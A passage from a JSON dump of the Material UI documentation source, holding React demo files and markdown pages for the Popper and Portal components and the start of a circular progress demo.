0,\n          },\n        },\n      },\n    },\n  ],\n}));\n\nconst Arrow = styled('div')({\n  position: 'absolute',\n  fontSize: 7,\n  width: '3em',\n  height: '3em',\n  '&::before': {\n    content: '\"\"',\n    margin: 'auto',\n    display: 'block',\n    width: 0,\n    height: 0,\n    borderStyle: 'solid',\n  },\n});\n\nexport default function ScrollPlayground() {\n  const anchorRef = React.useRef(null);\n  const [open, setOpen] = React.useState(false);\n\n  const [placement, setPlacement] = React.useState('bottom');\n  const [disablePortal, setDisablePortal] = React.useState(false);\n\n  const [flip, setFlip] = React.useState({\n    enabled: true,\n    altBoundary: true,\n    rootBoundary: 'document',\n  });\n  const [preventOverflow, setPreventOverflow] = React.useState({\n    enabled: true,\n    altAxis: true,\n    altBoundary: true,\n    tether: true,\n    rootBoundary: 'document',\n  });\n\n  const [arrow, setArrow] = React.useState(false);\n  const [arrowRef, setArrowRef] = React.useState(null);\n\n  const handleClickButton = () => {\n    setOpen((prevOpen) => !prevOpen);\n  };\n\n  const centerScroll = (element) => {\n    if (!element) {\n      return;\n    }\n\n    const container = element.parentElement;\n    container.scrollTop = element.clientHeight / 4;\n    container.scrollLeft = element.clientWidth / 4;\n  };\n\n  const jsx = `\n<Popper\n  placement=\"${placement}\"\n  disablePortal={${disablePortal}}\n  modifiers={[\n    {\n      name: 'flip',\n      enabled: ${flip.enabled},\n      options: {\n        altBoundary: ${flip.altBoundary},\n        rootBoundary: '${flip.rootBoundary}',\n        padding: 8,\n      },\n    },\n    {\n      name: 'preventOverflow',\n      enabled: ${preventOverflow.enabled},\n      options: {\n        altAxis: ${preventOverflow.altAxis},\n        altBoundary: ${preventOverflow.altBoundary},\n        tether: ${preventOverflow.tether},\n        rootBoundary: '${preventOverflow.rootBoundary}',\n        padding: 8,\n      },\n    },\n    {\n      name: 'arrow',\n      enabled: ${arrow},\n      options: {\n        element: arrowRef,\n      },\n    },\n  ]}\n>\n  `;\n  const id = open ? 'scroll-playground' : null;\n\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Box sx={{ height: 400, overflow: 'auto', mb: 3 }}>\n        <Grid\n          container\n          ref={centerScroll}\n          sx={{\n            alignItems: 'center',\n            justifyContent: 'center',\n            position: 'relative',\n            width: '230%',\n            bgcolor: 'background.paper',\n            height: '230%',\n          }}\n        >\n          <div>\n            <Button\n              ref={anchorRef}\n              variant=\"contained\"\n              onClick={handleClickButton}\n              aria-describedby={id}\n            >\n              Toggle Popper\n            </Button>\n            <Typography sx={{ mt: 2, maxWidth: 300 }}>\n              Scroll around this container to experiment with flip and\n              preventOverflow modifiers.\n            </Typography>\n            <Popper\n              id={id}\n              open={open}\n              arrow={arrow}\n              anchorEl={anchorRef.current}\n              placement={placement}\n              disablePortal={disablePortal}\n              modifiers={[\n                {\n                  name: 'flip',\n                  enabled: flip.enabled,\n                  options: {\n                    altBoundary: flip.altBoundary,\n                    rootBoundary: flip.rootBoundary,\n                    padding: 8,\n                  },\n                },\n                {\n                  name: 'preventOverflow',\n                  enabled: preventOverflow.enabled,\n                  options: {\n                    altAxis: preventOverflow.altAxis,\n                    altBoundary: preventOverflow.altBoundary,\n                    tether: preventOverflow.tether,\n                    rootBoundary: preventOverflow.rootBoundary,\n                    padding: 8,\n                  },\n                },\n                {\n                  name: 'arrow',\n                  enabled: arrow,\n                  options: {\n                    element: arrowRef,\n                  },\n                },\n              ]}\n            >\n              <div>\n                {arrow ? (\n                  <Arrow ref={setArrowRef} className=\"MuiPopper-arrow\" />\n                ) : null}\n                <Paper sx={{ maxWidth: 400, overflow: 'auto' }}>\n                  <DialogTitle>{\"Use Google's location service?\"}</DialogTitle>\n                  <DialogContent>\n                    <DialogContentText>\n                      Let Google help apps determine location.\n                    </DialogContentText>\n                  </DialogContent>\n                  <DialogActions>\n                    <Button onClick={handleClickButton}>Disagree</Button>\n                    <Button onClick={handleClickButton}>Agree</Button>\n                  </DialogActions>\n                </Paper>\n              </div>\n            </Popper>\n          </div>\n        </Grid>\n      </Box>\n      <Grid container spacing={2}>\n        <Grid container size={12}>\n          <Grid size={12}>\n            <Typography variant=\"h6\" component=\"div\">\n              Appearance\n            </Typography>\n          </Grid>\n          <Grid size={6}>\n            <TextField\n              margin=\"dense\"\n              sx={{ width: 200 }}\n              label=\"Placement\"\n              select\n              value={placement}\n              onChange={(event) => {\n                setPlacement(event.target.value);\n              }}\n              variant=\"standard\"\n              slotProps={{\n                select: {\n                  native: true,\n                  inputProps: {\n                    'aria-labelledby': 'scroll-playground-placement-label',\n                  },\n                },\n\n                inputLabel: {\n                  id: 'scroll-playground-placement-label',\n                },\n              }}\n            >\n              <option value=\"top-start\">top-start</option>\n              <option value=\"top\">top</option>\n              <option value=\"top-end\">top-end</option>\n              <option value=\"left-start\">left-start</option>\n              <option value=\"left\">left</option>\n              <option value=\"left-end\">left-end</option>\n              <option value=\"right-start\">right-start</option>\n              <option value=\"right\">right</option>\n              <option value=\"right-end\">right-end</option>\n              <option value=\"bottom-start\">bottom-start</option>\n              <option value=\"bottom\">bottom</option>\n              <option value=\"bottom-end\">bottom-end</option>\n            </TextField>\n          </Grid>\n          <Grid size={6}>\n            <FormControlLabel\n              control={\n                <Switch\n                  checked={disablePortal}\n                  onChange={(event) => {\n                    setDisablePortal(event.target.checked);\n                  }}\n                  value=\"disablePortal\"\n                />\n              }\n              label=\"Disable portal\"\n            />\n            <Typography\n              variant=\"caption\"\n              sx={{ display: 'block', color: 'text.secondary' }}\n            >\n              (the children stay within their parent DOM hierarchy)\n            </Typography>\n          </Grid>\n        </Grid>\n        <Grid size={12}>\n          <Typography variant=\"h6\" component=\"div\">\n            Modifiers (options from Popper.js)\n          </Typography>\n        </Grid>\n        <Grid container spacing={1} size={12}>\n          <Grid size={6}>\n            <FormGroup>\n              <Typography variant=\"subtitle1\">Prevent Overflow</Typography>\n              <FormControlLabel\n                control={\n                  <Switch\n                    checked={preventOverflow.enabled}\n                    onChange={(event) => {\n                      setPreventOverflow((old) => ({\n                        ...old,\n                        enabled: event.target.checked,\n                      }));\n                    }}\n                    value=\"arrow\"\n                  />\n                }\n                label=\"Enable\"\n              />\n              <FormControlLabel\n                control={\n                  <Switch\n                    checked={preventOverflow.altAxis}\n                    onChange={(event) => {\n                      setPreventOverflow((old) => ({\n                        ...old,\n                        altAxis: event.target.checked,\n                      }));\n                    }}\n                    value=\"alt-axis\"\n                  />\n                }\n                label=\"Alt axis\"\n              />\n              <FormControlLabel\n                control={\n                  <Switch\n                    checked={preventOverflow.altBoundary}\n                    onChange={(event) => {\n                      setPreventOverflow((old) => ({\n                        ...old,\n                        altBoundary: event.target.checked,\n                      }));\n                    }}\n                    value=\"alt-boundary\"\n                  />\n                }\n                label=\"Alt Boundary\"\n              />\n              <FormControlLabel\n                control={\n                  <Switch\n                    checked={preventOverflow.tether}\n                    onChange={(event) => {\n                      setPreventOverflow((old) => ({\n                        ...old,\n                        tether: event.target.checked,\n                      }));\n                    }}\n                    value=\"tether\"\n                  />\n                }\n                label=\"Tether\"\n              />\n              <TextField\n                margin=\"dense\"\n                size=\"small\"\n                label=\"Root Boundary\"\n                select\n                value={preventOverflow.rootBoundary}\n                onChange={(event) => {\n                  setPreventOverflow((old) => ({\n                    ...old,\n                    rootBoundary: event.target.value,\n                  }));\n                }}\n                variant=\"standard\"\n                slotProps={{\n                  select: {\n                    native: true,\n                    inputProps: {\n                      'aria-labelledby':\n                        'scroll-playground-prevent-overflow-root-boundary',\n                    },\n                  },\n\n                  inputLabel: {\n                    id: 'scroll-playground-prevent-overflow-root-boundary',\n                  },\n                }}\n              >\n                <option value=\"document\">document</option>\n                <option value=\"viewport\">viewport</option>\n              </TextField>\n            </FormGroup>\n          </Grid>\n          <Grid size={6}>\n            <FormGroup>\n              <Typography variant=\"subtitle1\">Flip</Typography>\n              <FormControlLabel\n                control={\n                  <Switch\n                    checked={flip.enabled}\n                    onChange={(event) => {\n                      setFlip((old) => ({\n                        ...old,\n                        enabled: event.target.checked,\n                      }));\n                    }}\n                    value=\"enabled\"\n                  />\n                }\n                label=\"Enable\"\n              />\n              <FormControlLabel\n                control={\n                  <Switch\n                    checked={flip.altBoundary}\n                    onChange={(event) => {\n                      setFlip((old) => ({\n                        ...old,\n                        altBoundary: event.target.checked,\n                      }));\n                    }}\n                    value=\"alt-boundary\"\n                  />\n                }\n                label=\"Alt Boundary\"\n              />\n              <TextField\n                margin=\"dense\"\n                size=\"small\"\n                label=\"Root Boundary\"\n                select\n                value={flip.rootBoundary}\n                onChange={(event) => {\n                  setFlip((old) => ({\n                    ...old,\n                    rootBoundary: event.target.value,\n                  }));\n                }}\n                variant=\"standard\"\n                slotProps={{\n                  select: {\n                    native: true,\n                    inputProps: {\n                      'aria-labelledby': 'scroll-playground-flip-root-boundary',\n                    },\n                  },\n\n                  inputLabel: {\n                    id: 'scroll-playground-flip-root-boundary',\n                  },\n                }}\n              >\n                <option value=\"document\">document</option>\n                <option value=\"viewport\">viewport</option>\n              </TextField>\n            </FormGroup>\n            <FormGroup>\n              <Typography variant=\"subtitle1\">Arrow</Typography>\n              <FormControlLabel\n                control={\n                  <Switch\n                    checked={arrow}\n                    onChange={(event) => {\n                      setArrow(event.target.checked);\n                    }}\n                    value=\"arrow\"\n                  />\n                }\n                label=\"Enable\"\n              />\n            </FormGroup>\n          </Grid>\n        </Grid>\n      </Grid>\n      <HighlightedCode code={jsx} language=\"jsx\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/SimplePopper.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Popper from '@mui/material/Popper';\n\nexport default function SimplePopper() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n\n  const handleClick = (event) => {\n    setAnchorEl(anchorEl ? null : event.currentTarget);\n  };\n\n  const open = Boolean(anchorEl);\n  const id = open ? 'simple-popper' : undefined;\n\n  return (\n    <div>\n      <button aria-describedby={id} type=\"button\" onClick={handleClick}>\n        Toggle Popper\n      </button>\n      <Popper id={id} open={open} anchorEl={anchorEl}>\n        <Box sx={{ border: 1, p: 1, bgcolor: 'background.paper' }}>\n          The content of the Popper.\n        </Box>\n      </Popper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/SimplePopper.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Popper from '@mui/material/Popper';\n\nexport default function SimplePopper() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(anchorEl ? null : event.currentTarget);\n  };\n\n  const open = Boolean(anchorEl);\n  const id = open ? 'simple-popper' : undefined;\n\n  return (\n    <div>\n      <button aria-describedby={id} type=\"button\" onClick={handleClick}>\n        Toggle Popper\n      </button>\n      <Popper id={id} open={open} anchorEl={anchorEl}>\n        <Box sx={{ border: 1, p: 1, bgcolor: 'background.paper' }}>\n          The content of the Popper.\n        </Box>\n      </Popper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/SimplePopper.tsx.preview",
    "content": "<button aria-describedby={id} type=\"button\" onClick={handleClick}>\n  Toggle Popper\n</button>\n<Popper id={id} open={open} anchorEl={anchorEl}>\n  <Box sx={{ border: 1, p: 1, bgcolor: 'background.paper' }}>\n    The content of the Popper.\n  </Box>\n</Popper>"
  },
  {
    "path": "docs/data/material/components/popper/SpringPopper.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Popper from '@mui/material/Popper';\nimport { useSpring, animated } from '@react-spring/web';\n\nconst Fade = React.forwardRef(function Fade(props, ref) {\n  const { in: open, children, onEnter, onExited, ...other } = props;\n  const style = useSpring({\n    from: { opacity: 0 },\n    to: { opacity: open ? 1 : 0 },\n    onStart: () => {\n      if (open && onEnter) {\n        onEnter();\n      }\n    },\n    onRest: () => {\n      if (!open && onExited) {\n        onExited();\n      }\n    },\n  });\n\n  return (\n    <animated.div ref={ref} style={style} {...other}>\n      {children}\n    </animated.div>\n  );\n});\n\nFade.propTypes = {\n  children: PropTypes.element,\n  in: PropTypes.bool,\n  onEnter: PropTypes.func,\n  onExited: PropTypes.func,\n};\n\nexport default function SpringPopper() {\n  const [open, setOpen] = React.useState(false);\n  const [anchorEl, setAnchorEl] = React.useState(null);\n\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n    setOpen((previousOpen) => !previousOpen);\n  };\n\n  const canBeOpen = open && Boolean(anchorEl);\n  const id = canBeOpen ? 'spring-popper' : undefined;\n\n  return (\n    <div>\n      <button aria-describedby={id} type=\"button\" onClick={handleClick}>\n        Toggle Popper\n      </button>\n      <Popper id={id} open={open} anchorEl={anchorEl} transition>\n        {({ TransitionProps }) => (\n          <Fade {...TransitionProps}>\n            <Box sx={{ border: 1, p: 1, bgcolor: 'background.paper' }}>\n              The content of the Popper.\n            </Box>\n          </Fade>\n        )}\n      </Popper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/SpringPopper.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Popper from '@mui/material/Popper';\nimport { useSpring, animated } from '@react-spring/web';\n\ninterface FadeProps {\n  children?: React.ReactElement<unknown>;\n  in?: boolean;\n  onEnter?: () => void;\n  onExited?: () => void;\n}\n\nconst Fade = React.forwardRef<HTMLDivElement, FadeProps>(function Fade(props, ref) {\n  const { in: open, children, onEnter, onExited, ...other } = props;\n  const style = useSpring({\n    from: { opacity: 0 },\n    to: { opacity: open ? 1 : 0 },\n    onStart: () => {\n      if (open && onEnter) {\n        onEnter();\n      }\n    },\n    onRest: () => {\n      if (!open && onExited) {\n        onExited();\n      }\n    },\n  });\n\n  return (\n    <animated.div ref={ref} style={style} {...other}>\n      {children}\n    </animated.div>\n  );\n});\n\nexport default function SpringPopper() {\n  const [open, setOpen] = React.useState(false);\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n    setOpen((previousOpen) => !previousOpen);\n  };\n\n  const canBeOpen = open && Boolean(anchorEl);\n  const id = canBeOpen ? 'spring-popper' : undefined;\n\n  return (\n    <div>\n      <button aria-describedby={id} type=\"button\" onClick={handleClick}>\n        Toggle Popper\n      </button>\n      <Popper id={id} open={open} anchorEl={anchorEl} transition>\n        {({ TransitionProps }) => (\n          <Fade {...TransitionProps}>\n            <Box sx={{ border: 1, p: 1, bgcolor: 'background.paper' }}>\n              The content of the Popper.\n            </Box>\n          </Fade>\n        )}\n      </Popper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/SpringPopper.tsx.preview",
    "content": "<button aria-describedby={id} type=\"button\" onClick={handleClick}>\n  Toggle Popper\n</button>\n<Popper id={id} open={open} anchorEl={anchorEl} transition>\n  {({ TransitionProps }) => (\n    <Fade {...TransitionProps}>\n      <Box sx={{ border: 1, p: 1, bgcolor: 'background.paper' }}>\n        The content of the Popper.\n      </Box>\n    </Fade>\n  )}\n</Popper>"
  },
  {
    "path": "docs/data/material/components/popper/TransitionsPopper.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Popper from '@mui/material/Popper';\nimport Fade from '@mui/material/Fade';\n\nexport default function TransitionsPopper() {\n  const [open, setOpen] = React.useState(false);\n  const [anchorEl, setAnchorEl] = React.useState(null);\n\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n    setOpen((previousOpen) => !previousOpen);\n  };\n\n  const canBeOpen = open && Boolean(anchorEl);\n  const id = canBeOpen ? 'transition-popper' : undefined;\n\n  return (\n    <div>\n      <button aria-describedby={id} type=\"button\" onClick={handleClick}>\n        Toggle Popper\n      </button>\n      <Popper id={id} open={open} anchorEl={anchorEl} transition>\n        {({ TransitionProps }) => (\n          <Fade {...TransitionProps} timeout={350}>\n            <Box sx={{ border: 1, p: 1, bgcolor: 'background.paper' }}>\n              The content of the Popper.\n            </Box>\n          </Fade>\n        )}\n      </Popper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/TransitionsPopper.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Popper from '@mui/material/Popper';\nimport Fade from '@mui/material/Fade';\n\nexport default function TransitionsPopper() {\n  const [open, setOpen] = React.useState(false);\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n    setOpen((previousOpen) => !previousOpen);\n  };\n\n  const canBeOpen = open && Boolean(anchorEl);\n  const id = canBeOpen ? 'transition-popper' : undefined;\n\n  return (\n    <div>\n      <button aria-describedby={id} type=\"button\" onClick={handleClick}>\n        Toggle Popper\n      </button>\n      <Popper id={id} open={open} anchorEl={anchorEl} transition>\n        {({ TransitionProps }) => (\n          <Fade {...TransitionProps} timeout={350}>\n            <Box sx={{ border: 1, p: 1, bgcolor: 'background.paper' }}>\n              The content of the Popper.\n            </Box>\n          </Fade>\n        )}\n      </Popper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/TransitionsPopper.tsx.preview",
    "content": "<button aria-describedby={id} type=\"button\" onClick={handleClick}>\n  Toggle Popper\n</button>\n<Popper id={id} open={open} anchorEl={anchorEl} transition>\n  {({ TransitionProps }) => (\n    <Fade {...TransitionProps} timeout={350}>\n      <Box sx={{ border: 1, p: 1, bgcolor: 'background.paper' }}>\n        The content of the Popper.\n      </Box>\n    </Fade>\n  )}\n</Popper>"
  },
  {
    "path": "docs/data/material/components/popper/VirtualElementPopper.js",
    "content": "import * as React from 'react';\nimport Popper from '@mui/material/Popper';\nimport Typography from '@mui/material/Typography';\nimport Fade from '@mui/material/Fade';\nimport Paper from '@mui/material/Paper';\n\nexport default function VirtualElementPopper() {\n  const [open, setOpen] = React.useState(false);\n  const [anchorEl, setAnchorEl] = React.useState(null);\n\n  const previousAnchorElPosition = React.useRef(undefined);\n\n  React.useEffect(() => {\n    if (anchorEl) {\n      if (typeof anchorEl === 'object') {\n        previousAnchorElPosition.current = anchorEl.getBoundingClientRect();\n      } else {\n        previousAnchorElPosition.current = anchorEl().getBoundingClientRect();\n      }\n    }\n  }, [anchorEl]);\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleMouseUp = () => {\n    const selection = window.getSelection();\n\n    // Resets when the selection has a length of 0\n    if (!selection || selection.anchorOffset === selection.focusOffset) {\n      handleClose();\n      return;\n    }\n\n    const getBoundingClientRect = () => {\n      if (selection.rangeCount === 0 && previousAnchorElPosition.current) {\n        setOpen(false);\n        return previousAnchorElPosition.current;\n      }\n      return selection.getRangeAt(0).getBoundingClientRect();\n    };\n\n    setOpen(true);\n\n    setAnchorEl({ getBoundingClientRect });\n  };\n\n  const id = open ? 'virtual-element-popper' : undefined;\n\n  return (\n    <div onMouseLeave={handleClose}>\n      <Typography aria-describedby={id} onMouseUp={handleMouseUp}>\n        Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ipsum purus,\n        bibendum sit amet vulputate eget, porta semper ligula. Donec bibendum\n        vulputate erat, ac fringilla mi finibus nec. Donec ac dolor sed dolor\n        porttitor blandit vel vel purus. Fusce vel malesuada ligula. Nam quis\n        vehicula ante, eu finibus est. Proin ullamcorper fermentum orci, quis finibus\n        massa. Nunc lobortis, massa ut rutrum ultrices, metus metus finibus ex, sit\n        amet facilisis neque enim sed neque. Quisque accumsan metus vel maximus\n        consequat. Suspendisse lacinia tellus a libero volutpat maximus.\n      </Typography>\n      <Popper\n        id={id}\n        open={open}\n        anchorEl={anchorEl}\n        transition\n        placement=\"bottom-start\"\n      >\n        {({ TransitionProps }) => (\n          <Fade {...TransitionProps} timeout={350}>\n            <Paper>\n              <Typography sx={{ p: 2 }}>The content of the Popper.</Typography>\n            </Paper>\n          </Fade>\n        )}\n      </Popper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/VirtualElementPopper.tsx",
    "content": "import * as React from 'react';\nimport Popper, { PopperProps } from '@mui/material/Popper';\nimport Typography from '@mui/material/Typography';\nimport Fade from '@mui/material/Fade';\nimport Paper from '@mui/material/Paper';\n\nexport default function VirtualElementPopper() {\n  const [open, setOpen] = React.useState(false);\n  const [anchorEl, setAnchorEl] = React.useState<PopperProps['anchorEl']>(null);\n\n  const previousAnchorElPosition = React.useRef<DOMRect>(undefined);\n\n  React.useEffect(() => {\n    if (anchorEl) {\n      if (typeof anchorEl === 'object') {\n        previousAnchorElPosition.current = anchorEl.getBoundingClientRect();\n      } else {\n        previousAnchorElPosition.current = anchorEl().getBoundingClientRect();\n      }\n    }\n  }, [anchorEl]);\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleMouseUp = () => {\n    const selection = window.getSelection();\n\n    // Resets when the selection has a length of 0\n    if (!selection || selection.anchorOffset === selection.focusOffset) {\n      handleClose();\n      return;\n    }\n\n    const getBoundingClientRect = () => {\n      if (selection.rangeCount === 0 && previousAnchorElPosition.current) {\n        setOpen(false);\n        return previousAnchorElPosition.current;\n      }\n      return selection.getRangeAt(0).getBoundingClientRect();\n    };\n\n    setOpen(true);\n\n    setAnchorEl({ getBoundingClientRect });\n  };\n\n  const id = open ? 'virtual-element-popper' : undefined;\n\n  return (\n    <div onMouseLeave={handleClose}>\n      <Typography aria-describedby={id} onMouseUp={handleMouseUp}>\n        Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ipsum purus,\n        bibendum sit amet vulputate eget, porta semper ligula. Donec bibendum\n        vulputate erat, ac fringilla mi finibus nec. Donec ac dolor sed dolor\n        porttitor blandit vel vel purus. Fusce vel malesuada ligula. Nam quis\n        vehicula ante, eu finibus est. Proin ullamcorper fermentum orci, quis finibus\n        massa. Nunc lobortis, massa ut rutrum ultrices, metus metus finibus ex, sit\n        amet facilisis neque enim sed neque. Quisque accumsan metus vel maximus\n        consequat. Suspendisse lacinia tellus a libero volutpat maximus.\n      </Typography>\n      <Popper\n        id={id}\n        open={open}\n        anchorEl={anchorEl}\n        transition\n        placement=\"bottom-start\"\n      >\n        {({ TransitionProps }) => (\n          <Fade {...TransitionProps} timeout={350}>\n            <Paper>\n              <Typography sx={{ p: 2 }}>The content of the Popper.</Typography>\n            </Paper>\n          </Fade>\n        )}\n      </Popper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/popper.md",
    "content": "---\nproductId: material-ui\ntitle: React Popper component\ncomponents: Popper\ngithubLabel: 'component: Popper'\ngithubSource: packages/mui-material/src/Popper\n---\n\n# Popper\n\n<p class=\"description\">A Popper can be used to display some content on top of another. It's an alternative to react-popper.</p>\n\nSome important features of the Popper component:\n\n- 🕷 Popper relies on the 3rd party library ([Popper.js](https://popper.js.org/docs/v2/)) for perfect positioning.\n- 💄 It's an alternative API to react-popper. It aims for simplicity.\n- Its child element is a [Portal](/material-ui/react-portal/) on the body of the document to avoid rendering problems.\n  You can disable this behavior with `disablePortal`.\n- The scroll isn't blocked like with the [Popover](/material-ui/react-popover/) component.\n  The placement of the popper updates with the available area in the viewport.\n- Clicking away does not hide the Popper component.\n  If you need this behavior, you can use the [Click-Away Listener](/material-ui/react-click-away-listener/) - see the example in the [menu documentation section](/material-ui/react-menu/#composition-with-menu-list).\n- The `anchorEl` is passed as the reference object to create a new `Popper.js` instance.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Basic Popper\n\n{{\"demo\": \"SimplePopper.js\"}}\n\n## Transitions\n\nThe open/close state of the popper can be animated with a render prop child and a transition component.\nThis component should respect the following conditions:\n\n- Be a direct child descendent of the popper.\n- Call the `onEnter` callback prop when the enter transition starts.\n- Call the `onExited` callback prop when the exit transition is completed.\n  These two callbacks allow the popper to unmount the child content when closed and fully transitioned.\n\nPopper has built-in support for [react-transition-group](https://github.com/reactjs/react-transition-group).\n\n{{\"demo\": \"TransitionsPopper.js\"}}\n\nAlternatively, you can use [react-spring](https://github.com/pmndrs/react-spring).\n\n{{\"demo\": \"SpringPopper.js\"}}\n\n## Positioned popper\n\n{{\"demo\": \"PositionedPopper.js\"}}\n\n## Scroll playground\n\n{{\"demo\": \"ScrollPlayground.js\", \"hideToolbar\": true, \"bg\": true}}\n\n## Virtual element\n\nThe value of the `anchorEl` prop can be a reference to a fake DOM element.\nYou need to create an object shaped like the [`VirtualElement`](https://popper.js.org/docs/v2/virtual-elements/).\n\nHighlight part of the text to see the popper:\n\n{{\"demo\": \"VirtualElementPopper.js\"}}\n\n## Supplementary projects\n\nFor more advanced use cases you might be able to take advantage of:\n\n### material-ui-popup-state\n\n![stars](https://img.shields.io/github/stars/jcoreio/material-ui-popup-state?style=social&label=Star)\n![npm downloads](https://img.shields.io/npm/dm/material-ui-popup-state.svg)\n\nThe package [`material-ui-popup-state`](https://github.com/jcoreio/material-ui-popup-state) that takes care of popper state for you in most cases.\n\n{{\"demo\": \"PopperPopupState.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/portal/SimplePortal.js",
    "content": "import * as React from 'react';\nimport Portal from '@mui/material/Portal';\nimport { Box } from '@mui/system';\n\nexport default function SimplePortal() {\n  const [show, setShow] = React.useState(false);\n  const container = React.useRef(null);\n\n  const handleClick = () => {\n    setShow(!show);\n  };\n\n  return (\n    <div>\n      <button type=\"button\" onClick={handleClick}>\n        {show ? 'Unmount children' : 'Mount children'}\n      </button>\n      <Box sx={{ p: 1, my: 1, border: '1px solid' }}>\n        It looks like I will render here.\n        {show ? (\n          <Portal container={() => container.current}>\n            <span>But I actually render here!</span>\n          </Portal>\n        ) : null}\n      </Box>\n      <Box sx={{ p: 1, my: 1, border: '1px solid' }} ref={container} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/portal/SimplePortal.tsx",
    "content": "import * as React from 'react';\nimport Portal from '@mui/material/Portal';\nimport { Box } from '@mui/system';\n\nexport default function SimplePortal() {\n  const [show, setShow] = React.useState(false);\n  const container = React.useRef(null);\n\n  const handleClick = () => {\n    setShow(!show);\n  };\n\n  return (\n    <div>\n      <button type=\"button\" onClick={handleClick}>\n        {show ? 'Unmount children' : 'Mount children'}\n      </button>\n      <Box sx={{ p: 1, my: 1, border: '1px solid' }}>\n        It looks like I will render here.\n        {show ? (\n          <Portal container={() => container.current!}>\n            <span>But I actually render here!</span>\n          </Portal>\n        ) : null}\n      </Box>\n      <Box sx={{ p: 1, my: 1, border: '1px solid' }} ref={container} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/portal/SimplePortal.tsx.preview",
    "content": "<button type=\"button\" onClick={handleClick}>\n  {show ? 'Unmount children' : 'Mount children'}\n</button>\n<Box sx={{ p: 1, my: 1, border: '1px solid' }}>\n  It looks like I will render here.\n  {show ? (\n    <Portal container={() => container.current!}>\n      <span>But I actually render here!</span>\n    </Portal>\n  ) : null}\n</Box>\n<Box sx={{ p: 1, my: 1, border: '1px solid' }} ref={container} />"
  },
  {
    "path": "docs/data/material/components/portal/portal.md",
    "content": "---\nproductId: material-ui\ntitle: React Portal component\ncomponents: Portal\ngithubLabel: 'scope: portal'\n---\n\n# Portal\n\n<p class=\"description\">The Portal component lets you render its children into a DOM node that exists outside of the Portal's own DOM hierarchy.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Introduction\n\nPortal is a utility component built around [React's `createPortal()` API](https://react.dev/reference/react-dom/createPortal).\nIt gives you the functionality of `createPortal()` in a convenient component form.\nIt's used internally by the [Modal](/material-ui/react-modal/) and [Popper](/material-ui/react-popper/) components.\n\n:::info\nAccording to [the React docs](https://react.dev/reference/react-dom/createPortal), portals are useful when \"you need the child element to visually 'break out' of its container\"—for instance, modals and tooltips, which need to exist outside of the normal flow of the document.\n:::\n\nNormally, children of a component are rendered within that component's DOM tree.\nBut sometimes it's necessary to mount a child at a different location in the DOM.\nThe Portal component accepts a `container` prop that passes a `ref` to the DOM node where its children will be mounted.\n\nThe following demo shows how a `<span>` nested within a Portal can be appended to a node outside of the Portal's DOM hierarchy—click **Mount children** to see how it behaves:\n\n{{\"demo\": \"SimplePortal.js\"}}\n\n## Basics\n\n### Import\n\n```jsx\nimport Portal from '@mui/material/Portal';\n```\n\n## Customization\n\n### Server-side Portals\n\nThe DOM API isn't available on the server, so you need to use the `container` prop callback.\nThis callback is called during a React layout effect:\n\n```jsx\n<Portal container={() => document.getElementById('filter-panel')!}>\n  <Child />\n</Portal>\n```\n\n:::error\nThe Portal component cannot be used to render child elements on the server—client-side hydration is necessary.\nThis is because React doesn't support the [`createPortal()` API](https://react.dev/reference/react-dom/createPortal) on the server.\nSee [this GitHub issue](https://github.com/facebook/react/issues/13097) for details.\n:::\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularColor.js",
    "content": "import Stack from '@mui/material/Stack';\nimport CircularProgress from '@mui/material/CircularProgress';\n\nexport default function CircularColor() {\n  return (\n    <Stack sx={{ color: 'grey.500' }} spacing={2} direction=\"row\">\n      <CircularProgress color=\"secondary\" aria-label=\"Loading…\" />\n      <CircularProgress color=\"success\" aria-label=\"Loading…\" />\n      <CircularProgress color=\"inherit\" aria-label=\"Loading…\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/CircularColor.tsx",
